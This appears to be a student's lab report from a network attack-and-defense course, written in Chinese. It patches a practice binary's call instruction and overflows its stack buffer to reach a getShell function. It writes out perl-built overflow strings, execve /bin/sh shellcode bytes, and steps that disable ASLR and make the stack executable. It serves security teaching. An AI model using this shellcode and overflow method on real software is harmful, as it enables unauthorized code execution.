20242943 2024-2025-2 《网络攻防实践》实践九报告

一.实践内容

(1)手工修改可执行文件pwn,改变程序执行流程,使其跳转到本不会被运行的getShell函数。 (2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。 (3)注入一个自己制作的shellcode并运行这段shellcode,触发getShell函数。

二.实践过程

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

(1)首先对这个可执行文件进行反汇编,命令为objdump -d pwn20242943 | more。

(2)当main函数执行到80484b5时,会执行机器指令e8 d7 ff ff ff,即执行汇编指令call 8048491,使程序跳转到foo函数。其中,e8是call的机器指令,8048491是foo函数的地址,d7 ff ff ff是它的偏移量。

当程序执行到EIP地址80484ba时,call指令跳转到foo函数的地址08048491,跳转的偏移量是ffffffd7。其中foo函数地址=EIP地址+偏移量,即08048491=80484ba+ffffffd7。

若要main函数调用getShell函数,需要修改call指令的目标地址,其中getShell函数的地址为0804847d。计算getshell函数的偏移量,getshell函数的地址是0804847d,0804847d-080484ba=ffffffc3,因此跳转到getshell函数所需的偏移量是ffffffc3。

因此若要改变程序的执行路径直接跳转到getshell函数,应该将e8 d7 ff ff ff改为e8 c3 ff ff ff。



(3)修改可执行文件。首先打开这个可执行文件,命令为vim pwn20242943;将文件内容转为十六进制,先按一下esc键,再输入命令:%!xxd;如图,将000004b0行的第四列的d7修改为c3;转回原格式,命令为:%!xxd -r;保存并退出。

(4)再次对这个文件进行反汇编,查看修改是否成功,如图所示,修改成功。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

(1)首先分析foo函数,是可以得知foo函数在栈中预留了0x1c(28字节)大小的缓冲区,当输入字符串超出时便会发生缓冲区溢出,溢出部分将会覆盖get函数的起始地址。由于main函数先压入栈的栈底地址占了4个字节,因此我们要构造的字符串的重点应是在第33-36位,为getShell函数的地址0804847d。
(2)使用perl工具生成字符串,生成的字符串包含getShell函数的地址0804847d,并将字符串重定向到一个文件当中。此外,还需要确定字节的顺序,因此需要构造两个字符串,分别为11111111222222223333333344444444\x08\x04\x84\x7d和11111111222222223333333344444444\x7d\x84\x04\x08。分别输入命令perl -e 'print "11111111222222223333333344444444\x08\x04\x84\x7d"' > swt20242943和perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > 20242943swt。


(3)将文件的内容作为输入,输入到pwn文件中,命令为(cat swt20242943; cat) | ./pwn20242943和 (cat 20242943swt; cat) | ./pwn20242943。可以看的第二个命令攻击成功。

3.注入一个自己制作的shellcode并运行这段shellcode。

(1)先安装一个工具execstack,命令为sudo apt-get install execstack。输入命令execstack -s pwn20242943,设置堆栈为可执行;输入命令execstack -q pwn20242943查询堆栈是否可执行,如图输出为X pwn20242943,即可执行;输入命令more /proc/sys/kernel/randomize_va_space查询地址随机化是否为开启状态,如图输出为2,即开启;输入命令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化,再次使用命令more /proc/sys/kernel/randomize_va_space查询地址随机化状态,输出为0,即已关闭。

(2)构造payload。输入命令perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' >shellcode20242943。创建一个shellcode输入文件。其中32个A是用来填充缓存区,\x1\x2\x3\x4为返回地址。

将shellcode20242943文件中的内容输入到pwn20242943之中,命令为(cat shellcode20242943; cat) | ./pwn20242943。

然后再开一个新终端,在新终端查看进程,命令为ps -ef | grep pwn20242943,如图进程号为6015。



(3)使用gdp进行调试,命令为attach 6015。



(4)使用命令disassemble foo,对foo函数进行反汇编。输入命令break *0x080484ae设置断点,再输入命令c,在正在运行的终端敲回车,到达断点。



(5)查看esp寄存器的值,命令为info r esp。



(6)再通过命令x/16x 0xffffd28c查看存放的内容。



(7)计算ffffd28c+00000004=ffffd290,因此shellcode中的返回地址换为\x90\xd2\xff\xff,再次运行命令,如图已经攻击成功。



三.学习中遇到的问题及解决

  • 问题1:第二部分执行(cat ./swt20242943; cat) | ./pwn20242943和
    (cat 20242943swt; cat) | ./pwn20242943命令时权限不够。
  • 问题1解决方案:使用命令chmod u+x ./pwn20242943改变权限。

  • 问题2:安装execstack工具失败。
  • 问题2解决方案:镜像的问题,增加几个新的下载源就好了。
    先使用sudo vim /etc/apt/sources.list命令打开源文件
    在源文件中添加下面四行
    deb http://http.kali.org/kali kali-rolling main contrib non-free
    deb http://http.kali.org/kali sana main non-free contrib
    deb http://security.kali.org/kali-security sana/updates main contrib non-free
    deb http://old.kali.org/kali moto main non-free contrib
    保存退出后更新一下。
    sudo apt-get update
    sudo apt-get upgrade

四.实践总结

本次实验最大的收获就是学习了汇编与反汇编的相关知识、懂得了改变程序执行流程的方法以及缓冲区溢出攻击的攻击原理,同时还动手制作了一个可以成功进行溢出攻击的shellcode。动手难度并不算大,但其过程需要好好地去理解与学习。
posted @ 2025-05-08 11:26  ssswwwttt  阅读(75)  评论(0)    收藏  举报